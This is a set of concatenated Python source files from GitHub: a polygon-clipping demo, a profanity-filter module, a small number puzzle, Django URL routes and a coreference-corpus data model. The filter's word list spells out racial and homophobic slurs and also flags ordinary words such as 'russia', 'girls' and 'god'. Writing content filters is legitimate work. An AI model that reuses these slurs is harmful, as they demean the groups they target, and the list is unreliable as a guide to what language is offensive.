* b[1] - a[1] * b[0]\r\n\r\n div = det(xdiff, ydiff)\r\n if div == 0:\r\n return 99999,99999\r\n\r\n d = (det(*line1), det(*line2))\r\n x = det(d, xdiff) / div\r\n y = det(d, ydiff) / div\r\n return x, y\r\n\r\ndef calcIntersection(p0,p1,tempRecIndex):\r\n # print('p0,p1',p0,p1,tempRecIndex)\r\n\r\n pb1 = [p0, p1]\r\n pb2 = [[0,0],[width,0]]\r\n x,y=line_intersection(pb1, pb2)\r\n\r\n result=(None,None,None)\r\n\r\n currentDiff=4\r\n\r\n if min(p0[0],p1[0])<=x<=max(p0[0],p1[0]) and min(p0[1],p1[1])<=y<=max(p0[1],p1[1]) and 0<=x<=width and 0<=y<=height:\r\n if result[0] is None and not (x==p0[0] and y==p0[1]) and not (x==p1[0] and y==p1[1]):\r\n result=(x,y,1)\r\n currentDiff=(1-tempRecIndex)%4\r\n\r\n pb2 = [[width, 0], [width, height]]\r\n x, y = line_intersection(pb1, pb2)\r\n\r\n if min(p0[0],p1[0])<=x<=max(p0[0],p1[0]) and min(p0[1],p1[1])<=y<=max(p0[1],p1[1]) and 0<=x<=width and 0<=y<=height:\r\n if result[0] is None and not (x == p0[0] and y == p0[1]) and not (x == p1[0] and y == p1[1]):\r\n result =(x, y, 2)\r\n if (2-tempRecIndex)%4<currentDiff and not (x == p0[0] and y == p0[1]) and not (x == p1[0] and y == p1[1]):\r\n result=(x,y,2)\r\n currentDiff=(2-tempRecIndex)%4\r\n\r\n pb2 = [[width, height], [0, height]]\r\n x, y = line_intersection(pb1, pb2)\r\n\r\n if min(p0[0],p1[0])<=x<=max(p0[0],p1[0]) and min(p0[1],p1[1])<=y<=max(p0[1],p1[1]) and 0<=x<=width and 0<=y<=height:\r\n if result[0] is None and not (x == p0[0] and y == p0[1]) and not (x == p1[0] and y == p1[1]):\r\n result =(x, y, 3)\r\n if (3-tempRecIndex)%4<currentDiff and not (x == p0[0] and y == p0[1]) and not (x == p1[0] and y == p1[1]):\r\n result=(x,y,3)\r\n currentDiff=(3-tempRecIndex)%4\r\n\r\n pb2 = [[0, height], [0, 0]]\r\n x, y = line_intersection(pb1, pb2)\r\n\r\n if min(p0[0], p1[0]) <= x <= max(p0[0], p1[0]) and min(p0[1], p1[1]) <= y <= max(p0[1], p1[1]) and 0<=x<=width and 0<=y<=height:\r\n if result[0] is None and not (x == p0[0] and y == p0[1]) and not (x == p1[0] and y == p1[1]):\r\n result =(x, y, 4)\r\n if (4-tempRecIndex)%4<currentDiff and not (x == p0[0] and y == p0[1]) and not (x == p1[0] and y == p1[1]):\r\n result=(x,y,4)\r\n\r\n return result\r\n\r\ndef somepointInRec(pointList):\r\n for point in pointList:\r\n if 0<=point[0]<=width and 0<=point[1]<=height:\r\n return True\r\n return False\r\n\r\ndef entireInRec(pointList,tempRecIndex):\r\n i=-1\r\n\r\n while i<len(pointList):\r\n if calcIntersection(pointList[i],pointList[i+1],tempRecIndex)[0] is not None:\r\n return True\r\n i+=1\r\n return False\r\n\r\nif __name__ == '__main__':\r\n\r\n recList=[[0,0],[width,0],[width,height],[0,height],[0,0]]\r\n\r\n x=[x[0] for x in recList]\r\n y=[x[1] for x in recList]\r\n\r\n # pointList1=[[50,50],[110,50],[50,110],[50,50]]\r\n # pointList1=[[50,50],[120,110],[-20,110],[50,50]]\r\n # pointList1=[[50,-10],[110,50],[50,110],[-10,50],[50,-10]]\r\n # pointList1=[[50,-100],[150,50],[60,200],[40,200],[20,150],[0,-50],[50,-100]]\r\n # pointList1=[[50,0],[0,-100],[100,-100],[50,0]]\r\n # pointList1=[[0,10],[0,-100],[50,-100],[50,50],[0,10]]\r\n pointList1=[[40,50],[-100,-50],[10,-50],[160,50],[40,50]]\r\n\r\n x1=[x[0] for x in pointList1]\r\n y1=[x[1] for x in pointList1]\r\n\r\n newList=[]\r\n\r\n i=0\r\n\r\n lengthRec=4\r\n lengthPolygon=len(pointList1)\r\n\r\n lastPoint=\"\"\r\n firstPoint=\"\"\r\n firstI=0\r\n firstTmpRecIndex=0\r\n\r\n tempRecIndex = 0\r\n\r\n if somepointInRec(pointList1):\r\n if pointInRec(pointList1[i]):\r\n firstPoint = pointList1[i]\r\n firstI=i\r\n\r\n newList.append(pointList1[i])\r\n lastPoint=pointList1[i]\r\n i+=1\r\n\r\n else:\r\n while not pointInRec(pointList1[i]):\r\n i+=1\r\n\r\n firstPoint = pointList1[i]\r\n firstI=i\r\n\r\n newList.append(pointList1[i])\r\n lastPoint=pointList1[i]\r\n i+=1\r\n\r\n else:\r\n if entireInRec(pointList1,1):\r\n while True:\r\n calcResult=calcIntersection(pointList1[i%len(pointList1)],pointList1[(i+1)%len(pointList1)],1)\r\n\r\n if calcResult[0] is not None:\r\n i+=1\r\n newList.append([calcResult[0],calcResult[1]])\r\n lastPoint=[calcResult[0],calcResult[1]]\r\n\r\n firstPoint = [calcResult[0],calcResult[1]]\r\n firstTmpRecIndex=calcResult[2]\r\n firstI=i\r\n\r\n tempRecIndex=calcResult[2]\r\n\r\n break\r\n\r\n i+=1\r\n else:\r\n raise Exception(\"多边形和多边形之间完全不相交\")\r\n\r\n print('newList',newList)\r\n\r\n i0=i\r\n\r\n lastPointInside=True\r\n\r\n while i<i0+lengthPolygon:\r\n point=pointList1[i%lengthPolygon]\r\n # print('i',i,i%lengthPolygon)\r\n print('newList',newList,lastPointInside,pointInRec(point),lastPoint,point,tempRecIndex)\r\n\r\n deathloop=False\r\n\r\n if lastPointInside:\r\n if pointInRec(point):\r\n print('add5',point)\r\n newList.append(point)\r\n lastPoint=point\r\n\r\n lastPointInside=True\r\n else:\r\n calcResult=calcIntersection(lastPoint,point,tempRecIndex)\r\n print('calcResult',calcResult,lastPoint,point)\r\n if [calcResult[0],calcResult[1]] in newList:\r\n if len(newList)==1:\r\n calcResult = calcIntersection(lastPoint, point, tempRecIndex+1)\r\n print('some',calcResult)\r\n if tempRecIndex != 0:\r\n # tempRecIndex+=1\r\n while calcResult[2] != tempRecIndex:\r\n # print('calcResult',calcResult)\r\n print('add333')\r\n newList.append(recList[tempRecIndex])\r\n tempRecIndex = 1 + (tempRecIndex) % 4\r\n else:\r\n tempRecIndex=calcResult[2]\r\n\r\n\r\n if calcResult[0] is not None:\r\n tempRecIndex=calcResult[2]\r\n print('add4',calcResult,lastPoint,point)\r\n newList.append([calcResult[0],calcResult[1]])\r\n\r\n lastPoint=point\r\n else:\r\n lastPoint=point\r\n\r\n lastPointInside = False\r\n\r\n else:\r\n if pointInRec(point):\r\n calcResult = calcIntersection(lastPoint, point,tempRecIndex)\r\n\r\n if tempRecIndex!=0:\r\n while calcResult[2]!=tempRecIndex:\r\n # print('calcResult',calcResult)\r\n print('add3')\r\n newList.append(recList[tempRecIndex])\r\n tempRecIndex=1+(tempRecIndex)%4\r\n\r\n # print('calcResult',calcResult)\r\n print('add2',point)\r\n newList.append([calcResult[0], calcResult[1]])\r\n\r\n newList.append(point)\r\n lastPoint = point\r\n\r\n lastPointInside=True\r\n else:\r\n while True:\r\n point=pointList1[i%lengthPolygon]\r\n calcResult = calcIntersection(lastPoint, point,tempRecIndex)\r\n\r\n if calcResult[0] is not None:\r\n\r\n if tempRecIndex != 0:\r\n # tempRecIndex+=1\r\n print('current',tempRecIndex,calcResult[2])\r\n while calcResult[2] != tempRecIndex:\r\n # print('calcResult',calcResult)\r\n print('add999',newList)\r\n newList.append(recList[tempRecIndex])\r\n tempRecIndex = 1 + (tempRecIndex) % 4\r\n else:\r\n tempRecIndex=calcResult[2]\r\n\r\n if [calcResult[0],calcResult[1]] not in newList:\r\n tempRecIndex = calcResult[2]\r\n print('add1',newList,lastPoint,point)\r\n newList.append([calcResult[0], calcResult[1]])\r\n lastPoint = [calcResult[0], calcResult[1]]\r\n lastPointInside=True\r\n i-=1\r\n break\r\n\r\n else:\r\n lastPointInside=False\r\n lastPoint=point\r\n break\r\n\r\n i+=1\r\n\r\n if len(newList)==1:\r\n calcResult = calcIntersection(pointList1[(firstI-1)%lengthPolygon], pointList1[(firstI)%lengthPolygon], firstTmpRecIndex + 1)\r\n print('some', calcResult,pointList1[(firstI-1)%lengthPolygon], pointList1[(firstI)%lengthPolygon])\r\n if tempRecIndex != 0:\r\n # tempRecIndex+=1\r\n while calcResult[2] != tempRecIndex:\r\n # print('calcResult',calcResult)\r\n print('add3')\r\n newList.append(recList[tempRecIndex])\r\n tempRecIndex = 1 + (tempRecIndex) % 4\r\n\r\n newList.append([calcResult[0],calcResult[1]])\r\n\r\n if newList[-1]!=firstPoint:\r\n newList.append(firstPoint)\r\n print('add final',firstPoint)\r\n x2=[x[0] for x in newList]\r\n y2=[x[1] for x in newList]\r\n\r\n print(newList)\r\n\r\n plt.plot(x,y)\r\n plt.plot(x1,y1,color='red')\r\n plt.plot(x2,y2,color='black',linewidth='5')\r\n plt.show()\r\n\r\n","repo_name":"sgxx/Sutherland-Hodgman-demo","sub_path":"calc_003.py","file_name":"calc_003.py","file_ext":"py","file_size_in_byte":10265,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"44"} +{"seq_id":"34391328232","text":"# coding=UTF-8\nfrom __future__ import unicode_literals\nimport unicodedata\nimport re\n\n\nSPECIAL_CHARACTER_SUBS = {\n '!': 'i',\n '1': 'i',\n '!': 'i',\n '0': 'o',\n '3': 'e',\n '4': 'a',\n '5': 's',\n '7': 't',\n '%': 'u'\n}\n\n\nSHORT_STOP_WORDS = [\n 'a',\n 'to',\n 'i',\n 'im',\n 'me',\n 'my',\n 'so'\n]\n\n\nBAD_WORDS = [\n 'anal',\n 'anus',\n 'arrse',\n 'arse',\n 'ass',\n 'asses',\n 'assfucker',\n 'assfukka',\n 'asshole',\n 'assholes',\n 'asswhole',\n 'ballbag',\n 'balls',\n 'ballsack',\n 'bastard',\n 'beastial',\n 'beastiality',\n 'bellend',\n 'bestial',\n 'bestiality',\n 'biatch',\n 'bich',\n 'bitch',\n 'bitcher',\n 'bitchers',\n 'bitches',\n 'bitchin',\n 'bitching',\n 'bloody',\n 'blow job',\n 'blowjob',\n 'blowjobs',\n 'boiolas',\n 'bollock',\n 'bollok',\n 'boner',\n 'boob',\n 'boobs',\n 'booobs',\n 'boooobs',\n 'booooobs',\n 'booooooobs',\n 'breasts',\n 'buceta',\n 'bugger',\n 'bukkake',\n 'bum',\n 'bunny fucker',\n 'butt',\n 'butthole',\n 'buttmuch',\n 'buttmunch',\n 'buttplug',\n 'carpet muncher',\n 'cawk',\n 'chink',\n 'cipa',\n 'clit',\n 'clitoris',\n 'clits',\n 'cnut',\n 'cock',\n 'cck',\n 'cockface',\n 'cockhead',\n 'cockmunch',\n 'cockmuncher',\n 'cocks',\n 'cocksuck',\n 'cocksucked',\n 'cocksucker',\n 'cocksucking',\n 'cocksucks',\n 'cocksuka',\n 'cocksukka',\n 'cok',\n 'cokmuncher',\n 'coksucka',\n 'coon',\n 'cox',\n 'crap',\n 'cum',\n 'cummer',\n 'cumming',\n 'cums',\n 'cumshot',\n 'cunilingus',\n 'cunillingus',\n 'cunnilingus',\n 'cunt',\n 'cuntlick',\n 'cuntlicker',\n 'cuntlicking',\n 'cunts',\n 'cyalis',\n 'cyberfuc',\n 'cyberfuck',\n 'cyberfucked',\n 'cyberfucker',\n 'cyberfuckers',\n 'cyberfucking',\n 'damn',\n 'dick',\n 'dck',\n 'dickhead',\n 'dildo',\n 'dildos',\n 'dink',\n 'dinks',\n 'dirsa',\n 'dlck',\n 'dogfucker',\n 'doggin',\n 'dogging',\n 'donkeypunch',\n 'donkeyribber',\n 'doosh',\n 'duche',\n 'dyke',\n 'ejaculat',\n 'ejaculate',\n 'ejaculated',\n 'ejaculates',\n 'ejaculating',\n 'ejaculatings',\n 'ejaculation',\n 'ejakulate',\n 'fag',\n 'fagging',\n 'faggitt',\n 'faggot',\n 'faggs',\n 'fagot',\n 'fagots',\n 'fags',\n 'fanny',\n 'fannyflaps',\n 'fannyfucker',\n 'fanyy',\n 'fatass',\n 'fcuk',\n 'fcuker',\n 'fcuking',\n 'feck',\n 'fecker',\n 'felch',\n 'felching',\n 'fellate',\n 'fellatio',\n 'fingerfuck',\n 'fingerfucked',\n 'fingerfucker',\n 'fingerfuckers',\n 'fingerfucking',\n 'fingerfucks',\n 'fistfuck',\n 'fistfucked',\n 'fistfucker',\n 'fistfuckers',\n 'fistfucking',\n 'fistfuckings',\n 'fistfucks',\n 'flange',\n 'fleshflute',\n 'fook',\n 'fooker',\n 'fuck',\n 'fck',\n 'fucka',\n 'fucked',\n 'fucker',\n 'fuckers',\n 'fuckhead',\n 'fuckheads',\n 'fuckin',\n 'fucking',\n 'fuckings',\n 'fuckingshitmotherfucker',\n 'fuckme',\n 'fucks',\n 'fuckwhit',\n 'fuckwit',\n 'fudge packer',\n 'fudgepacker',\n 'fuk',\n 'fuker',\n 'fukker',\n 'fukkin',\n 'fuks',\n 'fukwhit',\n 'fukwit',\n 'fux',\n 'fuxor',\n 'gangbang',\n 'gangbanged',\n 'gangbangs',\n 'gaylord',\n 'gaysex',\n 'getlaid',\n 'get laid',\n 'girls',\n 'goatse',\n 'god',\n 'goddam',\n 'goddamn',\n 'goddamned',\n 'hardcoresex',\n 'hell',\n 'heshe',\n 'hoar',\n 'hoare',\n 'hoer',\n 'homo',\n 'hore',\n 'horniest',\n 'horny',\n 'hotsex',\n 'jackoff',\n 'jap',\n 'jerkoff',\n 'jism',\n 'jiz',\n 'jizm',\n 'jizz',\n 'kawk',\n 'kike',\n 'knob',\n 'knobead',\n 'knobed',\n 'knobend',\n 'knobhead',\n 'knobjocky',\n 'knobjokey',\n 'kock',\n 'kondum',\n 'kondums',\n 'kum',\n 'kummer',\n 'kumming',\n 'kums',\n 'kunilingus',\n 'l3ich',\n 'l3itch',\n 'labia',\n 'lmfao',\n 'lust',\n 'lusting',\n 'masochist',\n 'masterb8',\n 'masterbat',\n 'masterbat3',\n 'masterbate',\n 'masterbation',\n 'masterbations',\n 'masturbate',\n 'mofo',\n 'mothafuck',\n 'mothafucka',\n 'mothafuckas',\n 'mothafuckaz',\n 'mothafucked',\n 'mothafucker',\n 'mothafuckers',\n 'mothafuckin',\n 'mothafucking',\n 'mothafuckings',\n 'mothafucks',\n 'mother fucker',\n 'motherfuck',\n 'motherfucked',\n 'motherfucker',\n 'motherfuckers',\n 'motherfuckin',\n 'motherfucking',\n 'motherfuckings',\n 'motherfuckka',\n 'motherfucks',\n 'muff',\n 'mutha',\n 'muthafecker',\n 'muthafuckker',\n 'muther',\n 'mutherfucker',\n 'nazi',\n 'nigg3r',\n 'nigga',\n 'niggah',\n 'niggas',\n 'niggaz',\n 'nigger',\n 'niggers',\n 'nob',\n 'nob jokey',\n 'nobhead',\n 'nobjocky',\n 'nobjokey',\n 'numbnuts',\n 'nutsack',\n 'orgasim',\n 'orgasims',\n 'orgasm',\n 'orgasms',\n 'pawn',\n 'pecker',\n 'penis',\n 'penisfucker',\n 'phonesex',\n 'phonesxx',\n 'phuck',\n 'phuk',\n 'phuked',\n 'phuking',\n 'phukked',\n 'phukking',\n 'phuks',\n 'phuq',\n 'pigfucker',\n 'pimpis',\n 'piss',\n 'pissed',\n 'pisser',\n 'pissers',\n 'pisses',\n 'pissflaps',\n 'pissin',\n 'pissing',\n 'pissoff',\n 'poop',\n 'porn',\n 'porno',\n 'pornography',\n 'pornos',\n 'prick',\n 'pricks',\n 'pron',\n 'pube',\n 'pusse',\n 'pussi',\n 'pussies',\n 'pussy',\n 'pussys',\n 'rectum',\n 'retard',\n 'rimjaw',\n 'rimming',\n 'russia',\n 'sadist',\n 'schlong',\n 'screwing',\n 'scroat',\n 'scrote',\n 'scrotum',\n 'semen',\n 'sex',\n 'sxx',\n 'shag',\n 'shagger',\n 'shaggin',\n 'shagging',\n 'shemale',\n 'singles',\n 'shit',\n 'shitdick',\n 'shite',\n 'shited',\n 'shitey',\n 'shitfuck',\n 'shitfull',\n 'shithead',\n 'shiting',\n 'shitings',\n 'shits',\n 'shitted',\n 'shitter',\n 'shitters',\n 'shitting',\n 'shittings',\n 'shitty',\n 'skank',\n 'slut',\n 'sluts',\n 'smegma',\n 'smut',\n 'snatch',\n 'sob',\n 'sonofabitch',\n 'spac',\n 'spic',\n 'spunk',\n 'teets',\n 'teez',\n 'testical',\n 'testicle',\n 'tit',\n 'titfuck',\n 'tits',\n 'titt',\n 'tittiefucker',\n 'titties',\n 'tittyfuck',\n 'tittywank',\n 'titwank',\n 'tosser',\n 'turd',\n 'twat',\n 'twathead',\n 'twatty',\n 'twunt',\n 'twunter',\n 'vagina',\n 'viagra',\n 'vigra',\n 'vulva',\n 'wang',\n 'wank',\n 'wanker',\n 'wanky',\n 'whoar',\n 'whore',\n 'willies',\n 'willy',\n 'woose',\n 'xrated',\n 'xxx'\n]\n\n\nPATTERN_SPECIAL_CHARACTER_SUBS = re.compile('|'.join(SPECIAL_CHARACTER_SUBS.keys()))\nPATTERN_STARTS_WITH_BAD_WORD = re.compile(r'\\b(%s)' % '|'.join(BAD_WORDS))\nPATTERN_ENDS_WITH_BAD_WORD = re.compile(r'(%s)\\b' % '|'.join(BAD_WORDS))\nPATTERN_MATCHES_BAD_WORD = re.compile(r'\\b(%s)\\b' % '|'.join(BAD_WORDS))\n\n\ndef normalise_text(text, substitude_numbers=True, remove_numbers=True, remove_underscore=False):\n \"\"\"\n Normalise given input text for matching bad words. This normalisation\n process is critical to find bad words even if those are specially encoded,\n for example like *fuck*, or f u c k.\n \"\"\"\n if text:\n # only work with lowercase text\n text = text.lower()\n\n # substitude _ for spaces or remove\n if remove_underscore:\n text = re.sub('_', '', text)\n else:\n text = re.sub('_', ' ', text)\n\n # remove ! at the end of words otherwise we end up\n # substituting it with i.\n def match_exclamation_marks(m):\n return m.group(1) + ' '\n text = re.sub(r'(\\w)!{1,}(\\W|$)', match_exclamation_marks, text)\n\n # remove individual ! characters that are not part of a word\n text = re.sub(r'\\W!{1,}(\\W|$)', '', text)\n\n # remove multi-digit numbers, so that we do not substitute those\n if remove_numbers:\n text = re.sub(r'\\d{2,}', '', text)\n\n # substitue certain special characters to corresponding letters\n if substitude_numbers:\n text = PATTERN_SPECIAL_CHARACTER_SUBS.sub(lambda x: SPECIAL_CHARACTER_SUBS[x.group()], text)\n\n # remove characters that are not letters or spaces\n text = re.sub(r'[^a-z\\s]', '', text)\n\n # remove spaces between single or two-letter words\n words = text.split()\n normalised_words = []\n for word, next_word in zip(words, words[1:] + [' ']):\n normalised_words.append(word)\n after_long_word = len(word) > 2 or word in SHORT_STOP_WORDS\n before_long_word = len(next_word) > 2 or next_word in SHORT_STOP_WORDS\n if after_long_word or before_long_word:\n normalised_words.append(' ')\n text = ''.join(normalised_words)\n\n # remove double-spaces\n text = re.sub(r'\\s{1,}', ' ', text)\n\n return text.strip()\n else:\n return ''\n\n\ndef _contains_bad_word(text, custom_words=None, substitude_numbers=True, remove_numbers=True, remove_underscore=False):\n \"\"\"\n Return True, if the given text contains a bad word, where the given text is normalised\n by using the given options.\n \"\"\"\n text = normalise_text(text, substitude_numbers, remove_numbers, remove_underscore)\n\n # standard cases (fast)\n if re.search(PATTERN_MATCHES_BAD_WORD, text):\n return True\n\n # custom cases (slow)\n if custom_words:\n pattern_matches = re.compile(r'\\b(%s)\\b' % '|'.join(custom_words))\n if re.search(pattern_matches, text):\n return True\n\n # unlikly to contain a bad word\n return False\n\n\ndef _get_bad_words(text, custom_words=None, substitude_numbers=True, remove_numbers=True, remove_underscore=False):\n \"\"\"\n Return a list of bad words that are contained within the given text, where the given text\n is normalised by using the given options.\n \"\"\"\n if custom_words is None:\n custom_words = []\n\n text = normalise_text(text, substitude_numbers, remove_numbers, remove_underscore)\n words = text.split()\n bad_words = set()\n\n for word in words:\n if word in BAD_WORDS or word in custom_words:\n bad_words.add(word)\n\n return bad_words\n\n\ndef contains_bad_word(text, custom_words=None):\n \"\"\"\n Return True, if the given text contains a bad word.\n \"\"\"\n for substitude_numbers in [True, False]:\n for remove_numbers in [True, False]:\n for remove_underscore in [True, False]:\n if _contains_bad_word(text, custom_words, substitude_numbers, remove_numbers, remove_underscore):\n return True\n\n return False\n\n\ndef get_bad_words(text, custom_words=None):\n \"\"\"\n Return a list of bad words that are contained within the given text.\n \"\"\"\n bad_words = set()\n for substitude_numbers in [True, False]:\n for remove_numbers in [True, False]:\n for remove_underscore in [True, False]:\n bad_words.update(_get_bad_words(text, custom_words, substitude_numbers, remove_numbers, remove_underscore))\n return bad_words\n\n\ndef is_suspicious_username(username):\n \"\"\"\n Return True, if the given username is suspicious.\n \"\"\"\n return len(re.findall(r'[@_\\.]', username)) > 1\n\n\n_latin_letters = {}\ndef is_latin_ch(uchr):\n \"\"\"\n Return True, if the given unicode character is a latin charactcer based on\n the unicode name of the given character.\n Based on: http://stackoverflow.com/questions/3094498/how-can-i-check-if-a-python-unicode-string-contains-non-western-letters\n \"\"\"\n try:\n return _latin_letters[uchr]\n except KeyError:\n return _latin_letters.setdefault(uchr, 'LATIN' in unicodedata.name(uchr))\n\n\ndef is_latin(text):\n \"\"\"\n Return True, if the given text is latin text and does not contain foreign\n languages characters, such as arabic or chinese.\n \"\"\"\n if text:\n return all(is_latin_ch(uchr) for uchr in text if uchr.isalpha())\n else:\n return True","repo_name":"cubaneorg/cubane","sub_path":"cubane/lib/bad_words.py","file_name":"bad_words.py","file_ext":"py","file_size_in_byte":12110,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"44"} +{"seq_id":"69885587013","text":"def solution(n: int) -> int:\n \"\"\"[summary]\n 자연수 n이 주어질 때, 다음 큰 수를 구하시오\n 다음 큰 수:\n 1) n보다 큰 자연수\n 2) n과 다음 큰 수는 2진수 변환시 1의 갯수가 같다\n 3) 1)2)를 만족하는 가장 작은 자연수\n Args:\n n (int): 10^6 이하의 자연수\n\n Returns:\n int: n의 다음 큰 수\n \"\"\"\n\n target = sum(map(int, format(n, \"b\")))\n i = n + 1\n while True:\n if target == sum(map(int, format(i, \"b\"))):\n return i\n i += 1\n\n\nif __name__ == \"__main__\":\n i = 78\n print(solution(i))","repo_name":"vincent-kk/Basic-Algorithm","sub_path":"programmers/lv2/12911.py","file_name":"12911.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"ko","doc_type":"code","dataset":"github-code","pt":"44"} +{"seq_id":"7015195637","text":"from django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n\turl(r'^$', views.index_view, name='index_view'),\n\t#url(r'^(?P<input>\\w+)/$', views.index_view),\n\t#url(r'^(?P<text>.+)/json$', views.text_json_view),\n\t#url(r'^(?P<text>.+)/$', views.text_result_view, name='url_link_for_intext'),\n\turl(r'^(?P<input>.+)/json$', views.json_view),\n\turl(r'^(?P<input>.+)/$', views.result_view, name='url_link'),\n]","repo_name":"xenoash/gender-neutralizer","sub_path":"main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"44"} +{"seq_id":"3136675624","text":"\"\"\"\nNote: use the `Annotable.reset_counter()` method to reset the counter if you\nplan to pass several corpora and you do mind having large index number.\n\"\"\"\n\n\nimport pandas as pd\n\nimport corefdb\n\n\nclass Annotable:\n\n #_class_annotation_list = [] # not here, but in __init__\n _id_counter = 0\n\n @classmethod\n def reset_counter(cls):\n cls._id_counter = 0\n\n def __init__(self, **kwargs):\n self.id_ = self.__class__._id_counter\n self.__class__._id_counter += 1\n self.annotations = dict()\n if kwargs:\n self.annotations.update(kwargs)\n\n @property\n def id(self):\n \"\"\"Alias for `id_`.\"\"\"\n return self.id_\n\n def __setitem__(self, key, value):\n self.annotations[key] = value\n\n def __getitem__(self, key):\n return self.annotations[key]\n\n def __contains__(self, key):\n return key in self.annotations\n\n def __getattr__(self, attr):\n if attr in self.annotations:\n return self.annotations[attr]\n raise AttributeError(\"%s has no attribute '%s'\"\n % (self.__class__.__name__, attr))\n\n\n\nclass Text(Annotable):\n\n def __init__(self, id_=None, **kwargs):\n super().__init__(**kwargs)\n self.paragraphs = []\n if id_:\n self.id_ = id_\n self.chains = []\n\n def add_paragraph(self, paragraph):\n self.paragraphs.append(paragraph)\n\n def add_chain(self, chain):\n self.chains.append(chain)\n\n\nclass Paragraph(Annotable):\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n self.sentences = []\n\n def add_sentence(self, sentence):\n self.sentences.append(sentence)\n\n\nclass Sentence(Annotable):\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n self.tokens = []\n self.mentions = []\n\n def add_token(self, token):\n self.tokens.append(token)\n\n def add_mention(self, mention):\n self.mentions.append(mention)\n\n\n\nclass Token(Annotable):\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n\n\n\nclass Mention(Annotable):\n\n\n @staticmethod\n def sort(mentions):\n mentions.sort(key=lambda x: x['text_stop'], reverse=True)\n mentions.sort(key=lambda x: x['text_start'])\n\n @staticmethod\n def add_levels(mentions):\n Mention.sort(mentions)\n filo = []\n for mention in mentions:\n while filo and filo[-1].text_stop <= mention.text_start:\n filo.pop()\n if filo:\n assert mention.text_start < filo[-1].text_stop\n mention['level'] = len(filo)\n mention['parent'] = filo[-1].id_ if filo else None\n filo.append(mention)\n for mention in mentions:\n mention['is_outer'] = mention['level'] == 0\n\n\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n\n\n\nclass Chain(Annotable):\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n self._mentions = []\n self._mentions_are_sorted = False\n\n @property\n def mentions(self):\n if not self._mentions_are_sorted:\n Mention.sort(self._mentions)\n self._mentions_are_sorted = True\n return self._mentions\n\n def add_mention(self, mention):\n self._mentions.append(mention)\n self._mentions_are_sorted = False\n\n\n\n\nclass Corpus:\n\n def __init__(self):\n self.token_df = None\n self.sentence_df = None\n self.paragraph_df = None\n self.text_df = None\n self.mention_df = None\n self.chain_df = None\n self._df_initialized = False\n\n\n @property\n def df_dic(self):\n return {\n name[:-3] + \"s\": getattr(self, name)\n for name in self.__dir__() if name.endswith(\"_df\")\n }\n\n\n def add_text(self, text):\n self._count(text)\n\n data = (\n ('token', (tok for par in text.paragraphs for sent in par.sentences\n for tok in sent.tokens)),\n ('sentence', (sent for par in text.paragraphs\n for sent in par.sentences)),\n ('paragraph', (par for par in text.paragraphs)),\n ('mention', (mention for chain in text.chains\n for mention in chain.mentions)),\n ('chain', (chain for chain in text.chains)),\n ('text', (text, ))\n )\n\n for attr, items in data:\n attr += \"_df\"\n items = list(items)\n df = pd.DataFrame(\n data=[item.annotations for item in items],\n index=[item.id_ for item in items],\n )\n df.index.name = \"id\"\n if getattr(self, attr) is not None:\n df = pd.concat([getattr(self, attr), df], axis=0)\n setattr(self, attr, df)\n\n\n def _count(self, text):\n\n # indices\n text_sent_index = 0\n text_cumulative_token_count = 0\n text_mention_index = 0\n for text_par_index, par in enumerate(text.paragraphs):\n par['text_id'] = text.id_\n par['text_par_index'] = text_par_index\n par_sent_index = 0\n par_mention_index = 0\n par_cumulative_token_count = 0\n par['first_token_index'] = text_cumulative_token_count\n for par_sent_index, sent in enumerate(par.sentences):\n sent['text_id'] = text.id_\n sent['par_id'] = par.id_\n sent['text_par_index'] = text_par_index\n sent['text_sent_index'] = text_sent_index\n sent['par_sent_index'] = par_sent_index\n sent['first_token_index'] = text_cumulative_token_count\n for sent_token_index, token in enumerate(sent.tokens):\n token['text_token_index'] \\\n = text_cumulative_token_count + sent_token_index\n token['text_id'] = text.id_\n token['par_id'] = par.id_\n token['sent_id'] = sent.id_\n mentions = sent.mentions\n Mention.sort(mentions)\n for sent_mention_index, mention in enumerate(mentions):\n mention['text_id'] = text.id_\n mention['par_id'] = par.id_\n mention['sent_id'] = sent.id_\n mention['text_par_index'] = text_par_index\n mention['text_sent_index'] = text_sent_index\n mention['par_sent_index'] = par_sent_index\n mention['sent_mention_index'] = sent_mention_index\n mention['par_mention_index'] = par_mention_index\n mention['text_mention_index'] = text_mention_index\n mention['par_start'] \\\n = par_cumulative_token_count + mention.start\n mention['par_stop'] \\\n = par_cumulative_token_count + mention.stop\n mention['text_start'] \\\n = text_cumulative_token_count + mention.start\n mention['text_stop'] \\\n = text_cumulative_token_count + mention.stop\n # increment\n par_mention_index += 1\n text_mention_index += 1\n # increment\n text_sent_index += 1\n par_cumulative_token_count += len(sent.tokens)\n text_cumulative_token_count += len(sent.tokens)\n sent['last_token_index'] = text_cumulative_token_count\n par['last_token_index'] = text_cumulative_token_count\n\n # chains and mentions, including \"rank\". Rank means the 1st,\n # 2st... mention of the chain in the text, paragraph, sentence.\n for chain in text.chains:\n chain['text_id'] = text.id_\n text_counter = 0\n par_counter = 0\n sent_counter = 0\n last_par = None\n last_sent = None\n mentions = chain.mentions # sorted\n for i, mention in enumerate(mentions):\n mention['chain_id'] = chain.id_\n mention['text_mention_rank'] = text_counter\n text_counter += 1\n if mention['par_id'] != last_par:\n last_par = mention['par_id']\n par_counter = 0\n mention['par_mention_rank'] = par_counter\n par_counter += 1\n if mention['sent_id'] != last_sent:\n last_sent = mention['sent_id']\n sent_counter = 0\n mention['sent_mention_rank'] = sent_counter\n sent_counter += 1\n mention['chain_mention_index'] = i\n mention['chain_mention_rindex'] = len(mentions) - i - 1\n\n\n mentions = [m for chain in text.chains for m in chain.mentions]\n Mention.add_levels(mentions)\n\n def export_to_csv_zip(self, fpath, compression=True):\n corefdb.save(self.df_dic, fpath, 